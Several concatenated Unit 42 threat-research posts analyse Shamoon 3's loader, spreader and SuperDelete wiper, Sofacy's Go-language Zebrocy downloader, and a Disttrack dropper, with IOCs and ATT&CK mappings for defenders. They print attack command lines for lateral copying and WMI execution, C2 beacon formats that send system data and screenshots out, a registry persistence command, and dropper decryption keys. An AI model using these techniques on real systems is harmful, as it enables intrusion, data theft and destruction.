The loader Trojan sample creates a list of text files from two different folders named "shutter" and "light" by searching for "*.txt" within these two folders. Based on the code, the Loader Trojan will load a maximum of 6 text files from both of these folders for a total of 12 files. It then enters a loop creating a new spreader process using each text file as an argument, as seen in the code in Figure 1. The loop creates these new processes using the Start function in the Process class using the command line cmd.exe /c spreader.exe [text file from shutter and light folders].

 

Figure 1 Loop within Loader Trojan that creates a Spreader for each text file

 

By analyzing how the spreader.exe executable uses the text file provided as an argument, we believe each text file that the Loader Trojan supplies to each created spreader process would be a new-line delimited file in which each line is structured as follows:

[hostname],[windows version]

 

Spreader Trojan

The spreader.exe executable (SHA256:35ceb84403...) is the Spreader Trojan that reads each line of the provided text file and splits the string on the comma (",") and uses this as a list of other systems on the network it will attempt to spread to. The spreader does not contain any usernames and password combinations that it would use to gain access to the remote systems, instead it relies on the privileges of the account that ran the Spreader Trojan. This suggests the actor ran the Loader Trojan, and therefore the Spreader Trojan with an account with elevated privileges high enough to copy and execute files to other systems on the network.

When attempting to spread to other hosts listed in the text file, the spreader acts differently based on the contents of the string to the right of the comma that denotes the Windows version of the remote system. First, the spreader checks to see if the Windows version string contains the following:

  • 7
  • 2008
  • XP
  • 2003
  • 2000
  • VISTA

 

If any of these strings are present, the spreader gets a list of executable files (*.exe) within a local folder named net2, which will contain only one executable that the spreader will attempts to copy  to the remote host. To carry out this file copy, the spreader first creates a folder on the remote system with a path of C:\Program Files\Internet Explorer\signin by creating a process using the mkdir command, as seen in Figure 2.

Figure 2 Function in Spreader Trojan that creates folder on remote host

 

It then copies the executable from the net2 folder to the host by creating a process with the following command line:

cmd.exe /c copy  net2\[executable from 'net2' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of executable from 'net2' folder]"

After copying the executable over to the remote system, the spreader creates a file on the remote system by opening a file using the following path:

\\[hostname]\admin$\process.bat

The spreader will write the following to the process.bat file:

"C:\Program Files\Internet Explorer\signin\"[filename of executable from 'net2' folder]

The spreader then uses WMI to connect to the remote system and will use the Win32_Process class to run the process.bat script on the remote system, which effectively executes the application from the net2 folder that the spreader copied over to the system.

If the operating system version in the text file is blank for the hostname, the spreader carries out its activities in a slightly different manner. The spreader will create the directory Program Files\Internet Explorer\signin on the remote system as mentioned before, obtain all of the file names in a folder named all and copies the first and second file in the folder to the remote host. We believe the first file copied is a batch script and the second file as an executable, which are copied over by running the following command line:

cmd.exe /c copy  all\[first file (possible batch file) from 'all' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of first file from 'all' folder]"

cmd.exe /c copy  all\[second file (executable) from 'all' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of second file from 'all' folder]"

The spreader would then run the copied executable using WMI in the same way as previously mentioned. We are unsure of the purpose of the first file copied over to the remote host, as it does not appear to be executed by the spreader on the remote host.

If the hostname doesn't have an empty version name and it does not match the Windows versions listed above, the spreader behaves slightly differently. In this case, the spreader would also create the Program Files\Internet Explorer\signin folder on the remote host, obtain an executable from a folder named net4 and copy this executable over to the remote host via the following command line:

cmd.exe /c copy  net4\[executable from 'net4' folder] \\[hostname]\"C$\Program Files\Internet Explorer\signin\[filename of executable from 'net4' folder]"

The spreader will use the same technique as mentioned before using WMI to execute the copied executable on the remote system.

 

Wiper: SuperDelete Variant

Unfortunately, we do not have access to any forensic images of systems that executed the Loader and Spreader Trojans, or a system in which these Trojans spread to. Fortunately, we have evidence of a previously unknown wiper Trojan with a file name of ‘SlHost.exe’ that was installed on a system that was also infected with Disttrack (SHA256:c3ab58b315...). This unknown wiper was saved to be executed from the following location, which is the same folder location that the Spreader Trojan would create on remote systems and copy files to:

C:\Program Files\Internet Explorer\signin\SlHost.exe

The SlHost.exe file is a wiper Trojan written in C# whose developer used the freely available SuperDelete source code as a base and modified it. The resulting wiper Trojan has many lines of code that it never uses, as they are merely unused artifacts of the SuperDelete tool’s code base. For example, the wiper contains code to parse the following command-line arguments that was in the SuperDelete source code, but the wiper never actually uses these arguments:

  • -s
  • --silentMode
  • --bypassAcl
  • --printStackTrace

The developer’s most interesting modification to the SuperDelete source code is the inclusion of ASCII art that it attempts to write to the console via the standard output. The wiper compares each line of the ASCII art seen in Figure 3 to the string “text”, and if it matches it would print the line to standard output. However, none of the lines in the ASCII art are equal to the string “text”, therefore, the ASCII art would never be displayed.

Figure 3 ASCII art in SlHost wiper Trojan

 

The ASCII art seen in Figure 3 is very interesting as it contains an Arabic phrase that is from the Quran, specifically the Surat Al Masad that translates to:

Perish the two hands of Abu Lahab "father of flames" (an uncle of prophet peace be upon him) and Perish he!

The developer of this wiper intentionally added this ASCII art to the wiper Trojan as a message. The actors involved in past Shamoon attacks have used politically charged images to overwrite the MBR, partition tables and files on the disk. As mentioned in our previous publication, the Disttrack wiper used in Shamoon 3 overwrote files using randomly generated data and not a politically charged image, as mentioned in our publications describing the Shamoon 2 attacks. The fact that the ASCII art is never written to the standard output suggests that the developer only intended this message to be discovered by individuals performing code analysis on the Trojan.

 

File Wiping

After building the ASCII art, the wiper enumerates all the fixed storage devices attached to the system. Figure 4 shows the wiper obtaining all fixed hard drives and creating a list of drive names that it will use to enumerate the files and folders stored on each device.

Figure 4 getallDrives function used to enumerate attached hard drives

 

After enumerating the storage devices, the wiper will then attempt to delete all files and folders on each storage volume. Once it deletes all the files, it then attempts to delete the root path for the storage volume (for instance the “C:\”) specifically, as seen in Figure 4.

Figure 5 Code in the main function that deletes each folder on the system before deleting the %SYSTEM% folder

 

To delete the files and folders on the system, the wiper first attempts to obtain certain privileges, specifically:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To carry out the wiping process, the wiper will call a function to recursively delete a folder and its contents. When enumerating the contents of each folder, the wiper will create an array of folder names that it will iterate through and call the same folder delete function, hence the recursive nature of the function.

The wiper will also attempt to delete all the files in each folder, specifically deleting user and system files in different ways. To delete system files, the wiper uses the NtSetInformationFile API function to set the FILE_DISPOSITION_DELETE field within the FILE_DISPOSITION_INFORMATION structure to true, which marks the file for deletion.

To delete user files, the wiper will first check to see if the file is set to read-only and if it is attempts to remove the read-only attribute by calling the SetFileAttributesW API function so the wiper can successfully delete it. The wiper then checks the file to see if the file exists in the “Users” folder and will timestamp the creation, last write and last access timestamps to:

1/1/3000 12:01:01

After timestamping each file, the wiper attempts to securely delete the file by entering two loops that writes random data to the file on byte at a time. These two loops effectively overwrite the data in the file twice, which makes recovering the data very difficult. The wiper then moves the overwritten file to a temporary filename in the same folder and deletes it.

The wiper will write detailed logs to the console via the standard output as it deletes files and folders on the system. Each of the log entry has a format of \rDeleting {0}\t\t\t\t, with the ‘{0}’ replaced with the deleted file or folder name whose path is shortened to 60 characters with “\...\” added in the middle. For example, we observed the following log entry written to the console during execution of the wiper:

Deleting C:\Program Files\Com\...\ware\Drivers\vss\VCBSnapshotProvider.dll

When the wiper finishes deleting all the files and folders on the system, it creates one final log entry that it writes to the console via the standard output. The log entry contains statistics on the wiper’s activities, which is formatted as follows with the number of files deleted replacing ‘{0}’, the number of folders deleted replacing ‘{1}’ and the amount of time elapsed during the wiping activities replacing ‘{2}’:

\rDone. Deleted {0} files and {1} folders in {2}.\t\t\t\t

 

Conclusion

While the recent Shamoon attacks have mostly discussed the reemergence of the infamous Disttrack tool used in previous Shamoon attacks, it appears that the threat actors have also used a second wiper Trojan to destroy data on systems on targeted networks. It also appears that the threat actors have used a similar approach to distribute the wiper Trojan from a centralized location on the compromised network using a list of hostnames to copy the wiper Trojan to other systems on the network.

The wiper related to the Shamoon 3 attacks is based on the SuperDelete source code. The wiper is only capable of overwriting the contents and deleting files and folders, as the wiper relies on the Loader and Spreader Trojans for execution. The religiously charged message within the wiper Trojan is interesting, as it acts as a message that may point to the adversary’s motivations. We have potentially tied the use of this wiper to the Shamoon 3 incident involving the Disttrack wiper, which in the past has used politically charged images to overwrite files in Shamoon and Shamoon 2 attacks. This also suggests that the adversaries involved in the Shamoon attacks have additional wipers in their toolset to complement the Disttrack Trojan.

Palo Alto Networks customers are protected from the SuperDelete wiper variant:

  • WildFire detects all known wipers using the SuperDelete source code with malicious verdicts
  • AutoFocus customers can track wipers using the SuperDelete source code via the ShamoonSecureDelete tag

 

Indicators of Compromise

Loader Trojan Hash

d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a

 

Spreader Trojan Hash

35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b

 

Known SuperDelete-based Wiper Hashes

5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

0266be9130bdf20976fc5490f9191edaafdae09ebe45e74cd97792412454bf0d

e5bf756d5530ec38ff649b901b3c7506f8556821d979bdcb392237f2ff40daf8

5257f623270b4c5cc471ff35b1bfeec80ab37c7e012da76b50ebd2c4911a43d0

 

Related Disttrack Hashes

c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f

0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe

391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c

Threat Intelligence Has Never Looked Better – Announcing the Unit 42 Research Portal

Posted on by Ryan Olson

We’re proud to announce the launch of our new threat intelligence portal, a dedicated place for Unit 42 research and discoveries. We designed this space to give the security community a new way to engage with so much of our important threat intelligence content. Here’s what you can expect to see:

 

Improved Navigation

Our streamlined navigation should help you better find the threat content that is most relevant to you. Our improved categories should enable you to quickly choose between reports, threat briefs, multimedia, and popular content.

 

Improved Search

We’ve improved our search and simplified the sorting to help make it easier to discover new research. Our in-site search returns research more effectively than external search engines by focusing just on Unit 42 research content. Visitors can preview research right from the search results page and filter content by author and topic.

 

Adversary Playbooks

Adversary playbooks are an important part of our work and it’s integrated into our new site for easier access. Our Adversary Playbooks capture and organize the complete collection of tools, techniques, and procedures that specific adversaries use to achieve their goals. Read more about playbooks here or watch a this video here.

 

Open Source Tools

View some of the malware reversing and decryption tools we use to investigate how malicious programs work and what they’re engineered to do. Because we believe all threat intelligence should be shared freely, we’ve made these tools publicly available on GitHub.

 

Let us know what you think about the new portal in the comments section or share your thoughts on Twitter @Unit42_Intel.

Sofacy Creates New ‘Go’ Variant of Zebrocy Tool

Posted on by Robert Falcone

The Sofacy threat group continues to carry out attacks using their Zebrocy tool. We first wrote about the Zebrocy tool in a blog that discussed Sofacy’s parallel attack campaigns during the first quarter of 2018, and more recently during Sofacy attacks in late October and early November. The developers of Zebrocy have once again created a new version the Trojan using a different programming language, specifically the Go language. The use of a different programming language to create a functionally similar Trojan is not new to this group, as past Zebrocy variants have been developed in AutoIt, Delphi, VB.NET, C# and Visual C++. While we cannot be certain the impetus for this, we believe the threat group uses multiple languages to create their Trojans to make them differ structurally and visually to make detection more difficult.

 

 

We have seen two separate attacks deliver the Go variant of Zebrocy. The first attack occurred on October 11 and relied on a spear-phishing email with an LNK shortcut attachment. The LNK shortcut is meant to run a series of PowerShell scripts to extract a payload from the shortcut to install and execute; however, the PowerShell scripts were coded incorrectly and could not install or run the payload as delivered. Therefore, the first observed attack mentioned in this blog could not be successful, but the tactics, techniques and indicators are worth discussing for situational awareness. More recently, we have seen Sofacy delivering the Go variant of Zebrocy using a document related to the Dear Joohn attack campaign that occurred in mid-October through mid-November.

 

The First Attack

The attack occurred on October 11, 2018 and involved a spear-phishing email (T1193) discussing the effects of US sanctions on the Russian economy. The “From” address and the signature included the name of an individual at the targeted organization. The “To” field in the delivery email was blank, which makes us believe that the targeted individuals were included in the “Bcc” field of this email. Figure 1 shows the delivery email used in this attack.

 

Figure 1 Delivery email used in Go Zebrocy attack

 

 

The Payload

The delivery document Противодействие Думы Санкциям США.doc (SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e) attempts to masquerade as a Word document, however, the file is a shortcut LNK. When opened (T1204), the LNK file attempts to run the following command line in a visible command prompt (T1059):

 

The shortcut uses PowerShell (T1086) to base64 decode (T1140) a second PowerShell script and executes it. The second PowerShell script decodes to the following:

 

The PowerShell script above attempts to extract another PowerShell script directly from the LNK shortcut file, which it would then execute. For unknown reasons, the actor that created this LNK shortcut included the incorrect filename for the LNK file, specifically C5 regional conference and training workshop on community policing(1).docx.lnk instead of the delivery document Противодействие Думы Санкциям США.doc.  The LNK shortcut filename does not match the filename delivered in the email, so this attack would never be successful as the PowerShell script above would be unable to obtain the payload to install on the system. The C5 regional conference and training workshop on community policing(1).docx.lnk filename included in this LNK file may be an artifact from a previous attack using the same delivery LNK and payload.

Had the attackers included the correct filename to the LNK delivery in the script above, it would have located the PowerShell script in the LNK file by using a hardcoded offset of "3659", which it would have used to seek 3659 bytes into the LNK file. The script would then read a hardcoded number of bytes, specifically 6,924,764 bytes from this offset and executes it. The resulting PowerShell script obtained from within the LNK file has the following contents, of which we have trimmed some of the encoded data and replaced it with "[..snip..]" for brevity:

 

This final PowerShell script is responsible for decoding an executable and Word document that it will write to the system in the %PUBLIC% folder with names C5 regional conference and training workshop on community policing(1).exe and C5 regional conference and training workshop on community policing(1).docx, respectively. The decoded content written to the Word document contains the decoy content seen in Figure 2 (SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b), which in this specific case is an agenda for a conference that occurred between June 18 and 20, 2018 in Dushanbe, Tajikistan sponsored by Saferworld and the United States Institute of Peace.

 

Figure 2 Decoy document opened during installation of Go Zebrocy

 

 

The decoded executable is the payload (SHA256: fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e) whose developer wrote in the Go Language, which appears to be a variant of the Zebrocy Trojan that we have previously analyzed. The use of another language to develop a similar Trojan in functionality to Zebrocy is fitting for this threat group, as we have previously seen this group create variants of Zebrocy in AutoIt, Delphi and C++. The similarities between this payload and previous Zebrocy variants include general high-level capabilities as well as some more specific overlaps. Like other Zebrocy samples, this Zebrocy variant written in Go does initial collection on the compromised system (T1119), exfiltrates this information to the C2 server and attempts to download, install and execute a payload from the C2. The Go variant also has some more specific overlaps in its functionality, including:

 

  • The use of ASCII hexadecimal obfuscation of strings
  • The use of the volume serial number without a hyphen obtained from the VOL command
  • The use of the output from "systeminfo" and "tasklist" in the outbound C2 beacon
  • The use of the string "PrgStart" within the C2 beacon

 

The most important overlap between the Go variant of Zebrocy and other variants is a shared C2 URL, specifically hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name= that was also used by Zebrocy samples de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71 and daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593, which were both written in Delphi.

The Go variant of Zebrocy attempts to evade automated analysis by checking the executable filename of its process for the “)” character. If the filename does not contain a “)” character, the Trojan immediately exits without executing its functional code. The Trojan looks for this character specifically, because it expects to run as a file named C5 regional conference and training workshop on community policing(1).exe.

This Zebrocy variant uses HTTP POST requests to interact with its C2 server (T1071), which contains system specific information in the POST data section. The system specific information includes

  • Running processes via “tasklist” command (T1057).
  • System information via the ”systeminfo” command (T1082).
  • Local disk information (T1120) via WMI by running the command “wmic logicaldisk get caption,description,drivetype,providername,size” (T1047).
  • A screenshot of the desktop (T1113) that the GoZebrocy tool takes using an open source Go library.

The C2 communications between the Trojan and its C2 has the following structure:

 

POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1

Host: 89.37.226[.]148

User-Agent: Go-http-client/1.1

Content-Length: 570690

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

 

attach=PrgStart%3A[path to running Trojan]%0D%0A%5B[current time]%5D%0D%0A%0D%0A[results from wmic logicaldisk get caption,description,drivetype,providername,size]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[results systeminfo command]%0D%0A%0D%0A%0D%0A[results tasklist command]%0D%0A&support=[screenshot of system represented as ascii hexadecimal bytes]

 

The C2 server will respond to this HTTP POST request with ascii hexadecimal bytes that the payload will decode and save to the following file (T1105):

 

%APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

 

The payload will then execute this newly created file using the Golang "os/exec" module, specifically using the "Command" and "Run" functions in the "os/exec" module to run the following command line:

 

cmd /C %APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

 

Dear Joohn Related Delivery

The second attack we observed delivering the Zebrocy variant written in the Go language is related to the Dear Joohn attacks that we have previously published. While the Dear Joohn campaign occurred in mid-October to mid-November 2018, the delivery document (SHA256: 346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0) that ultimately installed the Go Zebrocy sample was created on December 3, 2018. This delivery document had an author name of Joohn, which is how we clustered the Dear Joohn delivery documents for that campaign.

Like the Dear Joohn attacks, the delivery document downloads a remote template (SHA256: 07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305) via HTTP (T1071) that has an author and last saved by xxx. Upon opening the delivery document, the lure image seen in Figure 3 attempts to trick the recipient into enabling content (T1204) to run the macro within the downloaded remote template.

 

Figure 3 Lure image attempting to trick user into clicking the Enabling Content button

 

The delivery document is configured to obtain a remote template from hxxps://bit[.]ly/2G8QrgL (T1102), as seen in the following from the document’s word/_rels/settings.xml.rels file:

 

The hxxps://bit[.]ly/2G8QrgL shortened link redirects to the remote template hosted at a URL of hxxp://89.37.226[.]123/Templates/NormalOld.dotm. Previous Dear Joohn delivery documents did not use a shortened link to obtain its remote template, which suggests a shift in techniques used in this campaign. Fortunately for us, the shortened link provides some statistics on how many visitors accessed the link and their country of origin. When accessed on December 5, 2018, Figure 4 shows the statistics for the shortened link, showing the link was created on December 3, 2018 at 12:56 PM, which was visited 75 times from mostly from Turkey.

 

Figure 4 Statistics on visitors to the shortened link used to point to remote template (Accessed December 5, 2018)

 

The remote template downloaded via this shortened link contains a macro similar to other Dear Joohn samples. The macro differs as it extracts a ZIP from the remote template file (SHA256: c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506) and saves it to a file named driver_pack.zip. The archive contains an executable named driver_pack.exe (SHA256: b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76), which is a WinRAR SFX executable archive that contains another executable named comsvc.exe. The WinRAR SFX archive extracts the comsvc.exe payload using the following SFX script:

 

Path=%APPDATA%\AppHistory

Setup=comsvc.exe

Silent=1

Overwrite=2

 

The comsvc.exe executable (SHA256: 93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa) is a UPX packed variant of the Go Zebrocy malware (SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7), which is a downloader responsible for obtaining and executing secondary payloads from a C2 server.

Like other Zebrocy variants, this Go Zebrocy malware checks the path of the running process to make sure it contains comsvc, as it would if executed by the delivery document that would eventually save the payload to comsvc.exe. If the Go Zebrocy sample was not run as comsvc.exe, it will send an HTTP POST request to google[.]com unlike other Zebrocy variants that will just exit, which we believe this is an attempt to further evade heuristic detection. Figure 5 shows the HTTP request sent to google[.]com.

 

Figure 5 HTTP POST to google.com in the event Go Zebrocy executes with incorrect filename

 

The data sent in the HTTP POST request in Figure 5 decodes to <#0>0<##0><#1>1<##1><#2>1<##2>, which does not necessarily have any purpose other than filling the same HTTP POST data delimiters that Go Zebrocy will use when communicating with the C2. In the event that the sample was run as comsvc.exe, the Trojan will reach out to the following URL to communicate with its C2 server:

 

hxxp://89.37.226[.]123/advance/portable_version/service.php

 

The Go Zebrocy tool will get the volume serial number, take a screenshot of the system (T1113) and gather system specific information using a legitimate library called psutil that is available on Github. The Trojan will call the Host Info function from the psutil library that will effectively gather platform information (operating system, version etc.), the time the system was booted, the system uptime, the system’s GUID, and process IDs for running processes (T1057). The Zebrocy variant will send an HTTP POST request (T1071) to the above URL with post data structured as follows:

 

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[serial number of storage volume]%3C%23%230%3E%3C%231%3E[gathered system information]%3C%23%231%3E%3C%232%3E[screenshot in JPEG format]%3C%23%232%3E

 

The hexadecimal characters in the HTTP POST data are used as delimiters, which represent the following:

 

<#0>[serial number of storage volume]<##0><#1>[gathered system information]<##1><#2>[screenshot in JPEG format]<##2>

 

The C2 will respond to the above request with a hexadecimal encoded payload that the Trojan will save to the system and execute. The Trojan writes the secondary payload to the following file:

 

%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\wcncsvc.exe

 

Before executing the dropped file, the Trojan will create an auto run registry key (T1060) to have the secondary payload run each time the user logs in using the following command line (T1059):

 

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service

 

During our analysis, the secondary payload downloaded from the C2 is another Trojan written in Go language (SHA256: 50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc), which the actors packed with UPX (SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc) (T1045). This secondary payload is another downloader that uses HTTPS instead of HTTP for its C2 communications. This secondary payload communicates with the following URL as its C2:

 

hxxps://190.97.167[.]186/pkg/image/do.php

 

The HTTP POST request sent via HTTPS will look as follows, specifically including the first four bytes of the volume serial number and the first four characters of the hostname within the post data in a field labeled "l" as seen in Figure 6.

 

Figure 6 HTTP beacon sent by the secondary payload within its HTTPS C2 channel

 

Conclusion

The Sofacy group continues to use variants of the Zebrocy payload in its attack campaigns. Developers of Zebrocy continue to create new variants of the Trojan using different coding languages, which in this particular case used the Go language. The adversaries made some drastic errors to the delivery LNK shortcut, which made this attack seemingly ineffective. Regardless of the attack’s effectiveness, the techniques and indicators we observed still provide analytical points for correlation and should be included in an organizations security defenses as the group may use the payload and infrastructure in future attacks. It is also apparent that the Sofacy group will use these new variants of Zebrocy across multiple different campaigns, as the Go variant of Zebrocy was delivered via the LNK shortcut and a Dear Joohn delivery document.

Palo Alto customers can protect themselves against this threat by:

 

Indicators of Compromise

 

Zebrocy Go variant

fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa

 

Zebrocy Go C2

hxxp://89.37.226[.]148/technet-support/library/online-service-description.php

89.37.226[.]148

hxxp://89.37.226[.]123/advance/portable_version/service.php

89.37.226[.]123

 

Related Zebrocy Samples

de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71

daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593

308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365

f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b

1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a

 

Dear Joohn Related Hashes

346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 - Delivery Document

07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 - Remote Template

c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 - ZIP in Remote Template

b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 - WinRAR SFX in ZIP

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa - Go Zebrocy sample

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc - Secondary payload

 

Dear Joohn Related URLs

hxxps://bit[.]ly/2G8QrgL - Remote Template Shortened Link

hxxp://89.37.226[.]123/Templates/NormalOld.dotm - Remote Template URL

hxxp://89.37.226[.]123/advance/portable_version/service.php - Go Zebrocy HTTP C2

hxxps://190.97.167[.]186/pkg/image/do.php - Secondary payload HTTPS C2

 

Secondary Payload Hash

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc

 

Secondary Payload C2

hxxps://190.97.167[.]186/pkg/image/do.php

190.97.167[.]186

 

ATT&CK Techniques Observed

ID Technique
T1193 Spearphishing Attachment
T1059 Command-Line Interface
T1086 PowerShell
T1140 Deobfuscate/Decode Files or Information
T1119 Automated Collection
T1071 Standard Application Layer Protocol
T1057 Process Discovery
T1082 System Information Discovery
T1120 Peripheral Device Discovery
T1047 Windows Management Instrumentation
T1113 Screen Capture
T1105 Remote File Copy
T1102 Web Service
T1204 User Execution
T1060 Registry Run Keys / Startup Folder
T1045 Software Packing

 

Shamoon 3 Targets Oil and Gas Organization

Posted on by Robert Falcone

Summary

On December 10,  a new variant of the Disttrack malware was submitted to VirusTotal (SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack malware used in the Shamoon 2 attacks in 2016 and 2017 that we previously published here, here, and here. While we could not identify the impacted organization from the malware, today Saipem disclosed they were attacked. In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data.

According to a press release,  Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware. The attack caused infrastructure and data availability issues, forcing the organization to carry out restoration activities. Saipem told Reuters that 300 systems on their network were crippled by the malware related to the 2012 Shamoon attacks. While we cannot definitively confirm that Saipem was the impacted organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental.

 

Dropper

The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system. The dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on the network remotely using previously stolen usernames and passwords. Unfortunately, this particular sample does not contain any domains, usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed.

The dropper has a hardcoded kill time of '12/7/17 23:51'; if the system date is after this date the dropper installs the wiper module and starts wiping files on the system. The dropper reads the '%WINDOWS%\inf\mdmnis5tQ1.pnf' file to obtain a custom kill date that it will use instead of the hardcoded time. The communications module installed by the dropper writes to this file, which will be discussed in a later section. The dropper also decrypts a string '\inf\averbh_noav.pnf' that is the other file that the communications module uses to write system information to and if the wiper was able to successfully wipe the system, but the dropper does not appear to use this file.

The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module. The third resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64. The resources have a language set to ‘SUBLANG_ARABIC_YEMEN’ that was also found in the previous Disttrack samples used in Shamoon 2 attacks. The resource names are PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples.

The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module.

 

Resource name PIC
Description x64 variant of Dropper
Base64 Key 2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0+l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2M+A44NgOI89FIsWjcex9oEWzOo6VvxJ69HBvg+L4FExlbd8ZfvGewxgPgl98lqVGj14y5OBFIHTdvfxnnq/cTR55TgQdVDFUJHd2ljyzDl3LKPSUxT9sIE1aS7EA==
Offset 8786-14
Length 983552
SHA256 of Cleartext 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03

Table 1 Resource containing the x64 variant of the Disttrack dropper

 

Resource name MNU
Description Communications module
Base64 Key U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQZdKABTKX4mW+0arvZG70YhczUhI2ywcEcx+5tU6/aeQoX6ABoiP3wLsSsRatGwqR89fMir6S2Z7Lf5YW3i0a/2vCxwjK9r/zO5FXJBXsV1QRJ8F27t8pmYYFNiaN4OaN+7Gu7lf8=
Offset 8601-14
Length 266752
SHA256 of Cleartext 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe

Table 2 Resource containing the communications module in the Disttrack dropper

 

Resource name LNG
Description Wiper module
Base64 Key cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6DFqIltGLAt87fZnUH07RlfqtsVfITXGlhJtxu7bBgB46gH74Y+WNy16u9BS8mdh+S8jqToZrob7o4wI2CUcoaf17mZ7P2SIVL+X5GVls6OrDA3/t50GX3t6wH4DTR7IHhoonQPA5rmKWxS6gcp
Offset 7892-14
Length 402432
SHA256 of Cleartext 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c

Table 3 Resource containing the wiper module within the Disttrack dropper

 

The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 below.

 

Service name MaintenaceSrv
Service display name Maintenace Host Service
Service description The Maintenace Host service is hosted in the LSA process. The service provides key process isolation to private keys and associated cryptographic operations as required by the Common Criteria. The service stores and uses long-lived keys in a secure process compl\x1d
Binary path MaintenaceSrv32.exe or MaintenaceSrv64.exe

Table 4 Service created by the Disttrack dropper

 

